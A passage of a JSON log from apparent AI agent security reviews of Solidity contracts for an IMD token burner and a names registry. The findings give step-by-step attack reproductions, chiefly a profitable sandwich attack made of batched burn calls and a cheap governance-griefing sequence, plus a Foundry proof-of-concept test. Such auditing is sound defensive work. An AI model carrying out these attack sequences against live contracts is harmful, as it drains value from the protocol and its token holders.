need no budget and a 15-wei one does), and three WETH cases: a WETH that refuses to unwrap, one answering short data, and unwrapped WETH being treated as waiting ETH.\n- `test/LARPBurner.invariant.t.sol`: the handler now models the per-block rule as an oracle, donates WETH through a mock etched at WETH9's address, rolls blocks, and makes under-budget gas calls that must be refused by name and move nothing. ETH conservation now includes WETH, and a new measured invariant states L-10 directly. The runner reaches all eight handler functions evenly with zero unexpected reverts under fail-on-revert.\n\n**Results.** `forge test` passes: 251 tests pass, the 11 mainnet-fork tests skip offline as designed. All 138 named entry points are referenced in the suite.\n\n**One finding reported, not asserted** (`.imd-findings.json`, severity info): a burn whose routes both fail still books the waiting ETH against the block's allowance, so a later same-block call cannot sell it even if a route has since recovered. Nothing is lost and it sells next block. I verified the reproduction with a scratch test rather than pinning the behaviour as correct in the suite.","treeHash":"c7b3722a9ce044b156f960d2c9dd148a0f15305f","usage":{"cachedInputTokens":1908037,"inputTokens":610,"model":"claude-fable-5-1","outputTokens":40303,"runtime":"claude","turns":33,"wallClockMs":1531296}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1ec9f666356a7ad7","findings":[{"citation":"resolved","description":"The burner's only slippage defence for permissionless burns is the per-call cap (the contract's own NatSpec at lines 42-43: 'At most MAX_BURN of ETH is spent per call: small trades aren't worth sandwiching against these pools' fees', and AUDIT.md L-04: '0.1 ETH ... below POOL4's ~0.24 ETH sandwich break-even'). The cap is enforced per call only: `burn` reads `address(this).balance`, the transient `locked` slot is cleared when each call returns, and nothing records the block or transaction. Anyone can therefore call `burn(0)` N times inside one transaction and sell the whole balance (royalties, parked fees, the parked remainder of any fee above 0.1 ETH) at a single manipulated price, with `minImd = 0` and the swap's price limit at MIN_PRICE_LIMIT (no floor). Economic Security / Flow Gap seam (execution x first principles): each call is correct, the sequence defeats the stated guarantee. The ETH that accumulates is not attacker-controlled but is normal: ERC-2981 royalties arrive by plain transfer and are not burned until someone calls `burn`; a route failure parks fees; and a `register` whose price is above MAX_BURN (short names can reach 0.1104 ETH after four approved 2x steps, up to MAX_PRICE 1 ETH) only swaps 0.1 ETH and parks the rest (`register{value: 1 ether}` would park 0.9 ETH). A searcher simply waits for the balance to pass the single-call break-even, which the cap no longer bounds. Who loses: the burn (IMD holders): the protocol's fees buy far fewer $IMD than the market gives. Who gains: the sandwicher, the price impact minus two 1% fees. Fix (minimal, keeps the design): make the cap per block (store `lastBurnBlock` and revert or no-op when `block.number == lastBurnBlock`), or floor every route's output at a fraction of `quoteImd(eth)` read before the swap, so a manipulated pool makes the route fail rather than fill at a bad price.","line":152,"path":"src/LARPBurner.sol","reproduction":"Local PoolManager with POOL4 at liquidity 1e21 (~22 ETH / 44,700 IMD in range at ~2,000 IMD/ETH, exactly test/Base.sol's `_fillPool4` depth), the backup and pair pools empty. State: `vm.deal(address(burner), 0.5 ether)` (accumulated royalties). Honest path: five separate calls to `burner.burn(0)` in five transactions buy 969.2 IMD in total. Attack, one transaction from a searcher contract: (1) swap 5 ETH -> IMD on POOL4 (zeroForOne, exact input), (2) call `burner.burn(0)` five times: each call passes the cap check (`eth = 0.1 ether`) and the lock (cleared between calls), so all 0.5 ETH is sold, total output 652.2 IMD instead of 969.2 (-33%), (3) sell the IMD from step 1 back. Net ETH of the attacker: +0.0725 ETH after both 1% fees. With 1 ETH in the burner and ten calls the attacker nets +0.2377 ETH and the burn gets 1,281.6 IMD instead of 1,897.4. Control: the same sweep of front-run sizes (0.05 to 5 ETH) against a single 0.1 ETH burn at this depth finds no profitable sandwich (best profit 0), which is the per-call behaviour AUDIT.md L-04 relies on. Expected: a transaction cannot spend more than MAX_BURN at one price (the stated reason the cap exists). Actual: any multiple of MAX_BURN is spent per transaction. Scratch test: test/scratch/Econ.t.sol, `test_BatchedBurnsSpendTheWholeBalanceAtOneSandwichedPrice` and `EconSweepTest.test_Sweep` (the liquidity 1e21 block of its log).","severity":"medium","snippet":"        uint256 eth = address(this).balance;\n        if (eth > MAX_BURN) eth = MAX_BURN;","title":"MAX_BURN caps one call, not one transaction: batched burn(0) calls spend the whole balance at one sandwiched price"},{"citation":"resolved","description":"`_checkStep` (line 224: `if (to > from * 2 || to * 2 < from) revert OutOfBounds();`) accepts `to == from`, so anyone can propose the current prices (or a 1 wei change). The swarm judges only whether the proposed prices meet the guidelines, which the current prices do whenever they are in band, so such a proposal is approved. `execute` then unconditionally sets `Status.Executed`, `++epoch` and `lastChange = block.timestamp` even though `prices` did not change. Two consequences, both permissionless: (a) every other proposal approved against the same epoch reverts `Stale` forever (its 14-day window cannot outlive the epoch), so whoever executes first in a week chooses the week's change, and the griefer can front-run the community's `execute`; (b) the 7-day cooldown is consumed by a no-op, so a real change approved the next day waits a full week, by which time the griefer has another approved no-op ready. Cost to the griefer: 0.5 IMD (one oracle fee) per week. The guarantee kept ('prices change only by the swarm's verdict within the guardrails') still holds, but the liveness of price governance does not: prices can be pinned at any in-band value indefinitely, or steered to the band's edge by whoever wins the execute race each week, at trivial cost. Fix (minimal): reject a proposal whose prices equal the current ones (`next == prices` -> OutOfBounds), and in `execute` only bump `epoch`/`lastChange` when the prices actually change; or let `execute` apply the approved proposal with the highest number, so a later approval cannot be pre-empted by an earlier no-op.","line":203,"path":"src/SwarmPrices.sol","reproduction":"State: initial prices (0.0069, 0.00169, 0.00069, 0.00069). (1) Proposer calls `propose(Prices(0.00345e18, 0.000845e18, 0.000345e18, 0.000345e18), 0.5e18)` (a 2x cut) -> id `cut`. (2) Griefer calls `propose(Prices(0.0069e18, 0.00169e18, 0.00069e18, 0.00069e18), 0.5e18)` (identical to current) -> id `noop`; it does not revert. (3) The Intake delivers an approving attestation (panel 9, quorum 7, agreed 9, signed by the oracle signer for the names contract) for both: both are `Approved`. (4) Griefer calls `execute(noop)`: succeeds, `prices()` unchanged, `epoch()` == 1, `lastChange()` == block.timestamp. (5) `execute(cut)` reverts `Stale()`. (6) Proposer proposes the cut again (`cut2`), it is approved; `execute(cut2)` reverts `Cooling()`. (7) Griefer proposes another no-op (`noop2`), approved; `vm.warp(+7 days)`; griefer calls `execute(noop2)` first: succeeds; `execute(cut2)` reverts `Stale()`. After two weeks and 1 IMD spent the prices are unchanged and the community's two approved cuts are dead. Expected: a change that changes nothing should not consume the week's one change nor invalidate other approved proposals. Actual: it does both. Scratch test: test/scratch/Econ.t.sol, `test_NoOpProposalConsumesTheWeekAndStrandsTheRealOne` (passes on the current code, i.e. the sequence above executes as described).","severity":"low","snippet":"        p.status = Status.Executed;\n        prices = p.next;\n        ++epoch;\n        lastChange = uint64(block.timestamp);","title":"A proposal that changes nothing passes the guardrails; executing it bumps the epoch and restarts the cooldown, stranding every other approved proposal for 0.5 IMD a week"},{"citation":"resolved","description":"IMDNames.royaltyInfo names the burner as the ERC-2981 receiver of 6.9% of every sale, and the burner's stated purpose is that every fee and royalty 'leaves only burned' (NatSpec lines 35-41). The burner only knows how to spend ETH (`burn`), $IMD (`burnImd`) and the IMD6900 it just bought; there is no function that moves any other ERC-20, and there is no owner to add one. On Ethereum, marketplaces pay royalties in the sale's currency, and bids/offers (Seaport, Blur) settle in WETH, so a large share of secondary-sale royalties will arrive as WETH. That WETH is neither burned nor recoverable: it is lost value for the burn and for the seller who paid it. Flow Gap seam (periphery x first principles): the royalty call is correct, the receiver is the right one, and the end state contradicts the purpose. AUDIT.md L-06 only covers markets that skip royalties, and I-10 only ETH; this is the honoured-royalty case. Fix without changing interfaces or constructor arguments: in `burn`, before reading the balance, if the mainnet WETH contract (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, a constant) holds a balance for the burner, call its `withdraw(balance)` (the burner has `receive`), so WETH royalties join the ETH and are burned on the next call.","line":146,"path":"src/LARPBurner.sol","reproduction":"State: burner deployed, POOL4 and the pair pool live. (1) `names.royaltyInfo(1, 10 ether)` returns (burner, 0.69 ether). (2) A WETH-settled sale pays it: `weth.transfer(burner, 0.69e18)` (any ERC-20 other than $IMD; in the scratch test a MockERC20 stands in for WETH). (3) `burner.burn(0)` and `burner.burnImd()` both succeed and leave `weth.balanceOf(burner) == 0.69e18`; the burner's ABI has no other state-changing function (`receive`, `burn`, `burnImd`, `unlockCallback`, the last only callable by the PoolManager for the burner's own routes, which move only ETH, $IMD and IMD6900). Expected: the royalty is burned (or at least reachable by a burn). Actual: 0.69 WETH is stuck permanently. Scratch test: test/scratch/Weth.t.sol, `test_AWethRoyaltyIsStuckInTheBurner` (passes on the current code, i.e. the token stays).","severity":"low","snippet":"    receive() external payable {}","title":"Royalties settled in WETH (or any token but $IMD) are stuck in the burner forever: neither burned nor recoverable"}],"hash":"66a3d5b228d8672670becd05512c4e759742fc7ee91abfe92f91a27e4df56098","nodeId":"25d1ee69-534b-4430-83cc-bf3432786eb2","outcome":"completed","summary":"The review is complete. The findings file is written and validated, and the project's own suite still passes (145 passed, 11 fork tests skipped offline).\n\n**What I found** (written to `.imd-findings.json`, three findings, 142 coverage rows):\n\n1. **Medium, `LARPBurner.burn`:** `MAX_BURN` caps one call, not one transaction. The transient lock clears between calls and nothing records the block, so a searcher can front-run, call `burn(0)` five or ten times in one transaction, and back-run. At the repo's own pool depth, one 0.1 ETH burn has no profitable sandwich, but five batched calls net the bot 0.072 ETH and the burn receives a third fewer $IMD. The balance it feeds on arrives normally: royalties sit unburned until someone calls `burn`, and any fee above 0.1 ETH parks its remainder.\n2. **Low, `SwarmPrices.execute`:** a proposal equal to the current prices passes `_checkStep`, gets approved whenever prices are in band, and executing it still bumps the epoch and restarts the 7-day cooldown. Whoever executes first each week strands every other approved proposal as `Stale`, so governance can be pinned indefinitely for 0.5 IMD a week.\n3. **Low, `LARPBurner.receive`:** ERC-2981 names the burner as royalty receiver, but WETH-settled sales pay WETH, which the burner can neither burn nor move. Confirmed with a test.\n\n**Coverage:** every one of the 42 state-changing entry points the verifier listed has a row, plus rows for the constructors, views and constants from the 138-item list and four invariants I checked. Nothing is marked unreached. The LARP registry's entry points are outside my economic area and are marked holds with that reason.\n\n**Not re-raised:** AUDIT.md's acknowledged items (spot-price $IMD payments, oracle trust, sandwiching a single burn, name sniping) were checked against their tests and found consistent with the code.\n\n**Scratch tests** are under `test/scratch/` (`Econ.t.sol`, `Weth.t.sol`) and nothing else in the tree was changed.","treeHash":null,"usage":{"cachedInputTokens":2205668,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":56343,"runtime":"claude","turns":32,"wallClockMs":1014691}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"89214b73ec1e0b7b","findings":[{"citation":"resolved","description":"Area: Trust Gap (access x economics). `burn` is permissionless (any caller, any `minImd`, `minImd = 0` allowed) and spends `min(address(this).balance, MAX_BURN)` of the ETH waiting in the burner on POOL4 with no price bound of its own. The code and AUDIT.md L-04 rely on the 0.1 ETH per-call cap to make a sandwich unprofitable ('small trades aren't worth sandwiching against these pools' fees', LARPBurner.sol:42-43; 'below POOL4's ~0.24 ETH sandwich break-even', AUDIT.md L-04). But the cap is per call and the `locked` transient lock is released when each call returns, so the same transaction can call `burn(0)` again at once: N calls spend N * 0.1 ETH against one front-run and one back-run, and the pools' 1% fees are paid once for the whole batch. Whoever finds ETH accumulated in the burner (ERC-2981 royalties arriving through `receive`, fees parked while no route could trade, the excess above 0.1 ETH of any fee such as a 1-3 letter name once prices move) wraps the batch and keeps a large share of the value that was meant to buy and burn $IMD. The IMD route to the burner is unaffected; only the ETH route is. Measured on the repository's own local POOL4 (1%, spacing 60, ~22 ETH of virtual reserves; AUDIT.md puts mainnet POOL4 at about 1/23 of the ~600 ETH hookless pool, i.e. about 26 ETH): with 1 ETH waiting, the same 10 ETH front-run around ONE burn call loses 0.118 ETH (the cap works), around TEN burn calls in one transaction it gains 0.347 ETH, and the $IMD burned falls from 1,897 to 923 (-51%). Fix that keeps the interface and the stated rules: rate-limit the ETH that was already waiting per block, not per call. E.g. keep `spentInBlock` (storage `lastBurnBlock` + `spentInBlock`, or a transient slot) and let a call trade `msg.value + min(balanceBefore - msg.value, MAX_BURN - spentInBlock)`: a caller's own `msg.value` is always traded (so two fee payments in one block both go through and nobody's fee is delayed), while previously-waiting ETH leaves at most MAX_BURN per block, never reverting. An attacker can then no longer turn N calls into one atomic trade (the proof's extra calls trade nothing and the sandwich loses), and anything above the cap waits as today.","line":151,"path":"src/LARPBurner.sol","reproduction":"State: POOL4 live; the burner holds 1 ETH (vm.deal, standing for royalties/parked fees). Attacker contract, in ONE transaction: (1) swap 10 ETH -> IMD on POOL4; (2) call LARPBurner.burn(0) ten times (each spends 0.1 ETH at the pushed-up price); (3) swap all IMD -> ETH. Expected (per LARPBurner.sol:42-43 / AUDIT L-04): the sandwich is unprofitable, the 1 ETH buys ~1,897 IMD for DEAD. Actual: attacker ETH 10.000 -> 10.347 (+0.347 ETH), IMD sent to DEAD 923 instead of 1,897. Control: the same front-run around a single burn call ends at 9.882 ETH (unprofitable), which is the case the cap was designed for. Run: forge test --offline --match-path test/scratch/BurnBatchSandwich.t.sol -vv (fails on this code with 'a sandwich around burn calls batched in one transaction must not pay: 10347166138828315366 > 10000000000000000000').","severity":"medium","snippet":"    function burn(uint256 minImd) external payable locked returns (uint256 imd) {\n        uint256 eth = address(this).balance;\n        if (eth > MAX_BURN) eth = MAX_BURN;","title":"MAX_BURN caps one call, not one transaction: batched burn calls make the parked ETH one sandwichable trade"},{"citation":"resolved","description":"Outside the assigned area (periphery/economics), reported because the loss is permanent. IMDNames.royaltyInfo (src/IMDNames.sol:293-295) names the burner as the ERC-2981 recipient for every sale, and marketplaces pay the royalty in the sale's currency: Seaport/OpenSea pays accepted offers in WETH, other venues in their own wrapped ETH. The burner can only ever move two assets: ETH (`burn` swaps `address(this).balance`) and $IMD (`_burnImd` reads `_imdHeld()` and sends `rest` to DEAD). Any other token that arrives has no exit: there is no owner, no sweep, no `burnToken`, no WETH `withdraw`, and the protocol forbids upgrades. A 6.9% royalty paid in WETH is therefore neither burned nor recoverable by anyone, contradicting README/AUDIT ('every fee burns, in ETH or in $IMD'; L-06 counts royalties that markets do pay as burned). Fix: give the burner a permissionless way to turn WETH into ETH before `burn` (unwrap the canonical WETH9 balance, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 on Ethereum, as a constant or constructor argument) and, if other payment currencies are expected, a permissionless `burnToken(token)` that swaps a listed token for $IMD through the PoolManager; both are additive and keep the no-owner design.","line":231,"path":"src/LARPBurner.sol","reproduction":"State: deploy LARPBurner as in the manifest; deploy any ERC-20 W (e.g. a WETH mock) and `W.transfer(burner, 1 ether)` (what Seaport does when it pays a WETH royalty to royaltyInfo's recipient). Then call `burner.burn(0)` and `burner.burnImd()` from any account. Expected: the 1 W is converted and burned like an ETH or $IMD fee. Actual: `W.balanceOf(burner)` stays 1 ether after both calls, no function in LARPBurner's ABI (receive, burn, burnImd, quoteImd, unlockCallback) reads or moves W, and no role exists that could; the value is lost permanently.","severity":"medium","snippet":"        uint256 rest = _imdHeld();\n        _send(IMD, DEAD, rest);","title":"Royalties paid in WETH or any ERC-20 other than $IMD are locked in the burner forever"}],"hash":"70591062e1272736ac88e42a3a33700d4c2d7d5418536276e1d2302003dbc32b","nodeId":"6510dee0-671d-4c98-abbc-443d05ec7a2f","outcome":"completed","summary":"The review is complete. The harness itself excludes the findings file and scratch directory from git, so both are where the verifier expects them on disk.\n\n**Deliverable**: `.imd-findings.json` in the repository root holds 2 findings and a 142-row coverage record (all 138 entry points plus 4 invariants). Every one of the verifier's 42 state-changing entry points is answered by exact name. No row is `unreached`.\n\n**Finding 1 (medium, Trust Gap: access × economics)** `LARPBurner.burn` is permissionless with a caller-chosen `minImd`, and its 0.1 ETH `MAX_BURN` cap is per call. The transient lock releases on return, so one transaction can call it repeatedly and turn all waiting ETH into one atomic trade, paying the pool fees once. The code comment and AUDIT.md L-04 rely on that cap to make sandwiching unprofitable. On the repository's own local POOL4 with 1 ETH waiting, a 10 ETH front-run around one call loses 0.118 ETH, but around ten batched calls it gains 0.347 ETH, and the IMD burned falls from 1,897 to 923. The proof at `test/scratch/BurnBatchSandwich.t.sol` fails on this code for exactly that reason. The suggested fix rate-limits previously-waiting ETH per block while always trading a caller's own value, so fee payments are never delayed.\n\n**Finding 2 (medium, outside my area, reported for permanence)** `royaltyInfo` names the burner for every sale currency, but the burner can only move ETH and $IMD. Royalties paid in WETH, which is how accepted marketplace offers settle, sit in the burner forever with no owner, sweep or unwrap path. Reproduction is a plain ERC-20 transfer to the burner followed by `burn` and `burnImd`.\n\n**What held**: the permission model is small and consistent. Every identity action in all three contracts goes through one `canAct`, the agent path cannot move tokens or ETH, the EIP-712 agent signature binds the live holder, nonce, deadline, chain and contract, the artist controls art only, and prices are written only by `execute` of an approved proposal in the same epoch, so the bounds and 2x step always bind. I fetched the live Intake's verified source and confirmed `complete` is writer-only and request ids are unique, so the oracle trust is exactly what AUDIT.md L-08 states. All 145 existing offline tests pass. The slither and aderyn reentrancy and unused-return leads were traced and rejected; each is a STATICCALL view or an intentionally ignored return.\n\n**Not reached**: no mainnet fork run, so the pool depth figures come from AUDIT.md rather than a live read.","treeHash":null,"usage":{"cachedInputTokens":4008655,"inputTokens":706,"model":"claude-fable-5-1","outputTokens":81944,"runtime":"claude","turns":55,"wallClockMs":1608045}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"e6de8d4c6cf97551","findings":[{"citation":"resolved","description":"L-01's fix assumes a swap that runs out of gas leaves the burner with 1/64 of what it had, so a failed try with at most 1/63 left is treated as starvation and reverts. That is only true when the PoolManager itself (the direct callee, as the test's GasHogPoolManager) runs out. On the real path the work happens two to four frames deeper (PoolManager.unlock -> burner.unlockCallback -> PoolManager.swap -> hook / token transfer / IMD6900.burn). Every intermediate frame keeps 1/64 of its own gas and returns it when it reverts, so an out-of-gas in a deep frame leaves the burner with about 3/64 to 5/64 of gasBefore: the check passes, the route counts as 'failed', and the call goes on. For the IMD6900 leg that means _burnImd sets share = 0 and sends everything to DEAD as $IMD, exactly the 'skip the IMD6900 buy' that L-01 meant to stop; for route 0 it means POOL4 is skipped for the backup pool. Whether a window exists depends on how much gas the leg burns relative to the ~20k the burner needs after the catch (one balanceOf, the transfer to DEAD, the event): with the repository's hookless mocks (leg ~200k) the returned slices are ~9k and the call then runs out itself, which is why test_NoGasLimitSkipsARoute passes; with a leg of ~800k gas every gas limit from 758,000 to 1,968,000 goes through with the IMD6900 buy skipped (measured with a 2,000-gas step against the real v4 PoolManager). On Ethereum the leg runs the pair hook 0x667f...2A44 plus the upgradeable IMD6900's burn, whose cost is not known offline, and both can grow. Impact is bounded: the share is still burned as $IMD and the caller gains nothing but the destination, so this is low, as L-01 was; it does break the stated guarantee 'out-of-gas swaps revert' and 'no call that goes through skips the IMD6900 buy'. One fix that keeps the requested behaviour: forward a fixed budget to each try (POOL_MANAGER.unlock{gas: BUDGET}) and revert TooLittleGas before trying when gasleft() cannot cover it, so a leg can only run out of gas on its own account; another, checked to make the attached proof pass and the 18 existing LARPBurner tests still pass, is a threshold that a deep out-of-gas cannot reach, e.g. gasleft() <= gasBefore / 4 (a genuine revert leaves nearly all the gas; an out-of-gas at any depth leaves at most depth/64).","line":243,"path":"src/LARPBurner.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockERC20} from \"forge-std/mocks/MockERC20.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey as V4PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\n\nimport {LARPBurner} from \"src/LARPBurner.sol\";\n\n/// @dev $IMD for the test.\ncontract TokenIMD is MockERC20 {\n    constructor() {\n        initialize(\"IMD\", \"IMD\", 18);\n    }\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev An IMD6900 whose `burn` does about 800k gas of work before burning (the real leg runs the pair hook and an\n/// upgradeable token's burn; this stands in for a leg of that cost).\ncontract HeavyIMD6900 is MockERC20 {\n    constructor() {\n        initialize(\"IMD6900\", \"IMD6900\", 18);\n    }\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n\n    function burn(uint256 amount) external {\n        bytes32 h;\n        for (uint256 i; i < 5_000; ++i) {\n            h = keccak256(abi.encode(h, i));\n        }\n        _burn(msg.sender, amount);\n    }\n}\n\n/// @dev Adds full-range liquidity to a v4 pool, paid by the caller.\ncontract Adder {\n    IPoolManager immutable pm;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function add(V4PoolKey memory key, int256 liquidity) external payable {\n        pm.unlock(abi.encode(key, liquidity, msg.sender));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (V4PoolKey memory key, int256 liquidity, address payer) = abi.decode(data, (V4PoolKey, int256, address));\n        (BalanceDelta delta,) = pm.modifyLiquidity(\n            key,\n            ModifyLiquidityParams(\n                TickMath.minUsableTick(key.tickSpacing), TickMath.maxUsableTick(key.tickSpacing), liquidity, 0\n            ),\n            \"\"\n        );\n        _pay(key.currency0, uint256(uint128(-delta.amount0())), payer);\n        _pay(key.currency1, uint256(uint128(-delta.amount1())), payer);\n        if (address(this).balance > 0) payable(payer).transfer(address(this).balance);\n        return \"\";\n    }\n\n    function _pay(Currency currency, uint256 amount, address payer) internal {\n        if (Currency.unwrap(currency) == address(0)) {\n            pm.settle{value: amount}();\n        } else {\n            pm.sync(currency);\n            MockERC20(Currency.unwrap(currency)).transferFrom(payer, address(pm), amount);\n            pm.settle();\n        }\n    }\n\n    receive() external payable {}\n}\n\n/// @title The TooLittleGas guard (AUDIT.md L-01) only sees an out-of-gas in the direct callee\n/// @notice `_tryUnlock` reverts when the failed try left at most 1/63 of the gas. That is what is left when the\n/// PoolManager itself runs out of gas. But the swap, the hook and the token run two to four frames deeper, and every\n/// frame in between keeps 1/64 of its gas and hands it back when it reverts, so an out-of-gas there leaves 3/64 to\n/// 5/64 in the burner: the guard passes, the route counts as failed, and the IMD6900 leg is skipped (or, for the ETH\n/// routes, POOL4 is skipped for the backup). With a leg of about 800k gas, every gas limit from ~758k to ~1.97M goes\n/// through without buying IMD6900, which `test_NoGasLimitSkipsARoute` says cannot happen.\ncontract GasGuardDeepOOGTest is Test {\n    address constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n    TokenIMD imd;\n    HeavyIMD6900 imd6900;\n    PoolManager pm;\n    Adder adder;\n    V4PoolKey pool4;\n    V4PoolKey pair;\n    LARPBurner burner;\n\n    receive() external payable {}\n\n    function setUp() public {\n        imd = new TokenIMD();\n        imd6900 = new HeavyIMD6900();\n        pm = new PoolManager(address(this));\n        adder = new Adder(IPoolManager(address(pm)));\n\n        pool4 = V4PoolKey(Currency.wrap(address(0)), Currency.wrap(address(imd)), 10_000, 60, IHooks(address(0)));\n        pm.initialize(pool4, TickMath.getSqrtPriceAtTick(76_020));\n        bool imdIs0 = address(imd) < address(imd6900);\n        pair = imdIs0\n            ? V4PoolKey(Currency.wrap(address(imd)), Currency.wrap(address(imd6900)), 0, 60, IHooks(address(0)))\n            : V4PoolKey(Currency.wrap(address(imd6900)), Currency.wrap(address(imd)), 0, 60, IHooks(address(0)));\n        pm.initialize(pair, TickMath.getSqrtPriceAtTick(imdIs0 ? int24(92_100) : int24(-92_100)));\n\n        burner = new LARPBurner(\n            address(pm), address(imd), 10_000, 60, address(0), 10_000, 200, address(imd6900), 0, 60, address(0)\n        );\n\n        imd.mint(address(this), 1e30);\n        imd.approve(address(adder), type(uint256).max);\n        imd6900.mint(address(this), 1e33);\n        imd6900.approve(address(adder), type(uint256).max);\n        vm.deal(address(this), 10_000 ether);\n        adder.add{value: 1_000 ether}(pool4, 1e21);\n        adder.add(pair, 1e23);\n    }\n\n    /// @dev With enough gas the whole path works: ETH buys $IMD on POOL4, 6.9% buys IMD6900 and burns it.\n    function test_WithEnoughGasTheIMD6900BuyHappens() public {\n        uint256 supplyBefore = imd6900.totalSupply();\n        (bool ok,) = address(burner).call{value: 0.001 ether, gas: 5_000_000}(abi.encodeCall(burner.burn, (0)));\n        assertTrue(ok);\n        assertLt(imd6900.totalSupply(), supplyBefore, \"IMD6900 was bought and burned\");\n    }\n\n    /// @dev A caller picks 1,000,000 gas: POOL4 takes the ETH, the IMD6900 leg runs out of gas three frames down,\n    /// the burner gets ~3/64 of the leg's gas back, the guard passes, and the call succeeds with the IMD6900 buy\n    /// skipped (its share goes to DEAD as $IMD). It should either buy IMD6900 or revert with TooLittleGas.\n    function test_AStarvedCallSkipsTheIMD6900Buy() public {\n        uint256 supplyBefore = imd6900.totalSupply();\n        uint256 deadBefore = imd.balanceOf(DEAD);\n        (bool ok, bytes memory err) =\n            address(burner).call{value: 0.001 ether, gas: 1_000_000}(abi.encodeCall(burner.burn, (0)));\n        if (!ok) {\n            assertEq(bytes4(err), LARPBurner.TooLittleGas.selector, \"a starved swap reverts with TooLittleGas\");\n            return;\n        }\n        assertGt(imd.balanceOf(DEAD), deadBefore);\n        assertLt(imd6900.totalSupply(), supplyBefore, \"the call went through but skipped the IMD6900 buy\");\n    }\n}","reproduction":"State: v4 PoolManager with POOL4 (ETH/$IMD) and the IMD6900/$IMD pair pool both holding liquidity; an IMD6900 whose burn costs ~800k gas (the proof's HeavyIMD6900, 5,000 keccaks). Call: burner.burn{value: 0.001 ether, gas: 1_000_000}(0). Expected (AUDIT.md L-01, test_NoGasLimitSkipsARoute): the call either buys and burns IMD6900 or reverts with TooLittleGas. Actual: the call succeeds, emits Bought on route 0 and Burned(rest, 0, 0): IMD6900.totalSupply() is unchanged and the whole $IMD went to 0x...dEaD. The same happens for every gas limit between 758,000 and 1,968,000; from ~1.97M up the buy happens. Run: forge test --match-path test/scratch/GasGuardDeepOOG.t.sol (test_AStarvedCallSkipsTheIMD6900Buy fails on this code; passes with the guard fixed).","severity":"low","snippet":"            if (gasleft() <= gasBefore / 63) revert TooLittleGas();","title":"LARPBurner's TooLittleGas guard (AUDIT.md L-01) only sees an out-of-gas in the direct callee: a gas-starved call still skips the IMD6900 leg (or POOL4) when the leg is gas-heavy"},{"citation":"resolved","description":"Read in full: src/LARPBurner.sol, src/LARP.sol (+ILARP.sol), src/IMDNames.sol (+IIMDNames.sol, SwarmPrices.sol, Labels.sol), src/LARPLinks.sol, src/SafeReads.sol, test/Base.sol, test/Mocks.sol, test/LARPBurner.t.sol, test/SwarmPrices.t.sol, AUDIT.md, foundry.toml, and the protected harness. Entry points answered (138): the 4 constructors (call nothing; IMDNames' passes Prices(0.0069,0.00169,0.00069,0.00069) through _checkBounds, pure; LARPBurner's _spacing is pure; argument order matches the brief's manifest). LARPBurner: receive, POOL_MANAGER, IMD, POOL4_FEE, POOL4_SPACING, POOL4_HOOK, BACKUP_FEE, BACKUP_SPACING, IMD6900, PAIR_FEE, PAIR_SPACING, PAIR_HOOK, DEAD, MAX_BURN, POOL_SHARE_BPS (immutables/constants, no issue), burn, burnImd (transient lock holds; ETH leaves only through an exact-fill swap; $IMD only to DEAD or the pair pool; see the low finding on the gas guard), quoteImd (slot 6 / +3 StateLibrary layout and PoolId encoding verified; max of two spots, both required; spot manipulation acknowledged L-07), unlockCallback (only POOL_MANAGER, and v4 only calls back the unlocker; delta decoding amount0 = upper, amount1 = lower, verified; price limits per direction correct). LARP: IDENTITY, SLOTS, DOMAIN_SEPARATOR, nonces, setAgent, setAgentBySig (EIP-712 digest bound to chain and contract, low-s and v check, nonce consumed only on success, ERC-1271 fallback), resignAgent, agentOf, identityOfAgent, canAct (agent valid only while the naming holder owns), setFace, clearFace, equip, unequip (owner or agent; placement is the holder's; _placed/_copies kept two-way, invariants pass), faceOf, itemOf, wearerOf, faceURI, avatarOf, itemURI (STATICCALL reads via SafeReads; gas forwarded as documented I-07), supportsInterface. IMDNames: IDENTITY, LARP, BURNER, TLD, ROYALTY_BPS, ACTION, INTAKE, ORACLE_SIGNER, MIN_PRICE, MAX_PRICE, COOLDOWN, EXECUTE_WINDOW, MIN_PANEL, MIN_QUORUM, prices, epoch, lastChange, proposalCount, proposal, propose (anyone, pays fee from caller, approve then requestWithFailure, proposal keyed by the Intake's id), onVerdict (Intake only, own pending proposal only, EIP-712 'IdentityMD Oracle' v2 over this contract: the hashStruct split, type string and domain are identical to the protocol's OracleAttestation library and the protocol's signed vector verifies, checked with a harness at 0x...2748 on chain 11155111; panel >= 9, quorum >= 7 and >= 7/9, agreed >= quorum, not expired, bool true), onNoVerdict (Intake only, closes only), execute (Approved, within 14 days, same epoch, 7-day cooldown, once; bounds 0.00001-1 ETH, 2x step, short >= four >= long enforced at propose), artist, renderer, rendererLocked, priceOf, crewPrice, tollOf, register, registerWithImd, link, linkWithImd (toll due whenever owner != last payer; links two-way and live only while the linker owns both; mint before pay, no ERC-721 callback in _mint; IMD path pulls the burner's quote at most maxImd straight to the burner and burns), unlink, setPrimary, setText, nameOfToken, nameOf, identityOf, resolve, resolveName, primaryOf, text, tokenURI (renderer under 10M gas, falls back to the card), royaltyInfo, setRenderer, setArtist, lockRenderer (artist only; metadata only), name, symbol, balanceOf, ownerOf, approve, getApproved, setApprovalForAll, isApprovedForAll, transferFrom, both safeTransferFrom, supportsInterface (solady ERC721, unmodified; transfers do not touch links, _live handles 